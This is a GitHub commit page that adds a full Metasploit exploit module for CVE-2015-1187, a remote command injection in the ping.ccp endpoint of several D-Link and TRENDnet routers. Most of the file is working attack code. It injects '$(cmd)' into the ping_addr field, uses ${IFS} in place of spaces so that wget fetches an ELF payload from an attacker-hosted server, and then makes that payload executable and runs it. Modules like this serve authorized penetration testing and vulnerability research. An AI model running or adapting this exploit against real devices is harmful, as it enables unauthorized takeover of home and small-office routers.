Skip to content

Commit 6fcab31

Browse files
author
m-1-k-3
committed
ncc exploit CVE-2015-1187 - dir626l
1 parent cd992d5 commit 6fcab31

File tree

1 file changed

+204
-0
lines changed

1 file changed

+204
-0
lines changed
Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking #only tested in emulated environment
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'D-Link/TRENDnet ncc Command Injection (ping.ccp)',
19+
'Description' => %q{
20+
This module exploits a remote command injection vulnerability on several routers.
21+
This module was tested in an emulated environment of a DIR-626L only. Several
22+
D-Link and TRENDnet devices are reported as affected:
23+
D-Link DIR-626L (Rev A) - v1.04b04,
24+
D-Link DIR-636L (Rev A) - v1.04,
25+
D-Link DIR-808L (Rev A) - v1.03b05,
26+
D-Link DIR-810L (Rev A) - v1.01b04,
27+
D-Link DIR-810L (Rev B) - v2.02b01,
28+
D-Link DIR-820L (Rev A) - v1.02B10,
29+
D-Link DIR-820L (Rev A) - v1.05B03,
30+
D-Link DIR-820L (Rev B) - v2.01b02,
31+
D-Link DIR-826L (Rev A) - v1.00b23,
32+
D-Link DIR-830L (Rev A) - v1.00b07,
33+
D-Link DIR-836L (Rev A) - v1.01b03,
34+
TRENDnet TEW-731BR (Rev 2) - v2.01b01
35+
},
36+
'Author' =>
37+
[
38+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
39+
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
40+
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
41+
],
42+
'License' => MSF_LICENSE,
43+
'References' =>
44+
[
45+
['CVE', '2015-1187'],
46+
['BID', '72816'],
47+
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], #advisory with PoC
48+
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'], #advisory with PoC
49+
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052'] #vendor site with update
50+
],
51+
'Targets' =>
52+
[
53+
[ 'Linux mipsel Payload',
54+
{
55+
'Arch' => ARCH_MIPSLE,
56+
'Platform' => 'linux'
57+
}
58+
],
59+
[ 'Linux mipsbe Payload',
60+
{
61+
'Arch' => ARCH_MIPSBE,
62+
'Platform' => 'linux'
63+
}
64+
],
65+
],
66+
'DisclosureDate' => 'Feb 26 2015',
67+
'DefaultTarget' => 0))
68+
69+
register_options(
70+
[
71+
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
72+
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
73+
OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/ping.ccp']),
74+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
75+
], self.class)
76+
end
77+
78+
def check
79+
begin
80+
res = send_request_cgi({
81+
'method' => 'GET',
82+
'uri' => normalize_uri(target_uri.path.to_s)
83+
})
84+
85+
# unknown if other devices also using mini_httpd
86+
if res && [500].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
87+
return Exploit::CheckCode::Detected
88+
end
89+
rescue ::Rex::ConnectionError
90+
return Exploit::CheckCode::Unknown
91+
end
92+
93+
Exploit::CheckCode::Unknown
94+
end
95+
96+
def exec_command(cmd, timeout=20)
97+
begin
98+
res = send_request_cgi({
99+
'method' => 'POST',
100+
'uri' => normalize_uri(target_uri.path.to_s),
101+
'encode_params' => false,
102+
'vars_post' => {
103+
"ccp_act" => "ping_v6",
104+
"ping_addr" => '$(' + cmd + ')'
105+
}
106+
}, timeout)
107+
return res
108+
rescue ::Rex::ConnectionError
109+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
110+
end
111+
end
112+
113+
def primer
114+
@payload_url = get_uri
115+
wget_payload
116+
end
117+
118+
def exploit
119+
print_status("#{peer} - Accessing the vulnerable URL...")
120+
121+
unless check == Exploit::CheckCode::Detected
122+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
123+
end
124+
125+
print_status("#{peer} - Exploiting...")
126+
127+
@pl = generate_payload_exe
128+
129+
if @pl.blank?
130+
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
131+
end
132+
@payload_url = ""
133+
134+
if datastore['EXTURL'].blank?
135+
begin
136+
Timeout.timeout(datastore['HTTPDELAY']) {super}
137+
rescue Timeout::Error
138+
end
139+
chmod_payload
140+
exec_payload
141+
else
142+
@payload_url = datastore['EXTURL']
143+
wget_payload
144+
chmod_payload
145+
exec_payload
146+
end
147+
end
148+
149+
def wget_payload
150+
#
151+
# download payload
152+
#
153+
print_status("#{peer} - Downloading the payload to the target machine...")
154+
155+
@dropped_elf = rand_text_alpha(rand(5) + 3)
156+
157+
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
158+
res = exec_command(cmd)
159+
if res && [200].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
160+
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
161+
else
162+
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
163+
end
164+
end
165+
166+
def chmod_payload
167+
#
168+
# chmod
169+
#
170+
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
171+
print_status("#{peer} - chmod the payload...")
172+
173+
res = exec_command(cmd, 1)
174+
if (!res)
175+
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
176+
end
177+
178+
select(nil, nil, nil, 1)
179+
end
180+
181+
def exec_payload
182+
#
183+
# execute
184+
#
185+
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
186+
print_status("#{peer} - Executing the payload...")
187+
188+
res = exec_command(cmd, 1)
189+
if (!res)
190+
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
191+
end
192+
193+
select(nil, nil, nil, 1)
194+
end
195+
196+
# Handle incoming requests from the server
197+
def on_request_uri(cli, request)
198+
print_status("Request: #{request.uri}")
199+
if request.uri =~ /#{Regexp.escape(get_resource)}/
200+
print_status("Sending payload...")
201+
send_response(cli, @pl)
202+
end
203+
end
204+
end

0 commit comments

Comments
 (0)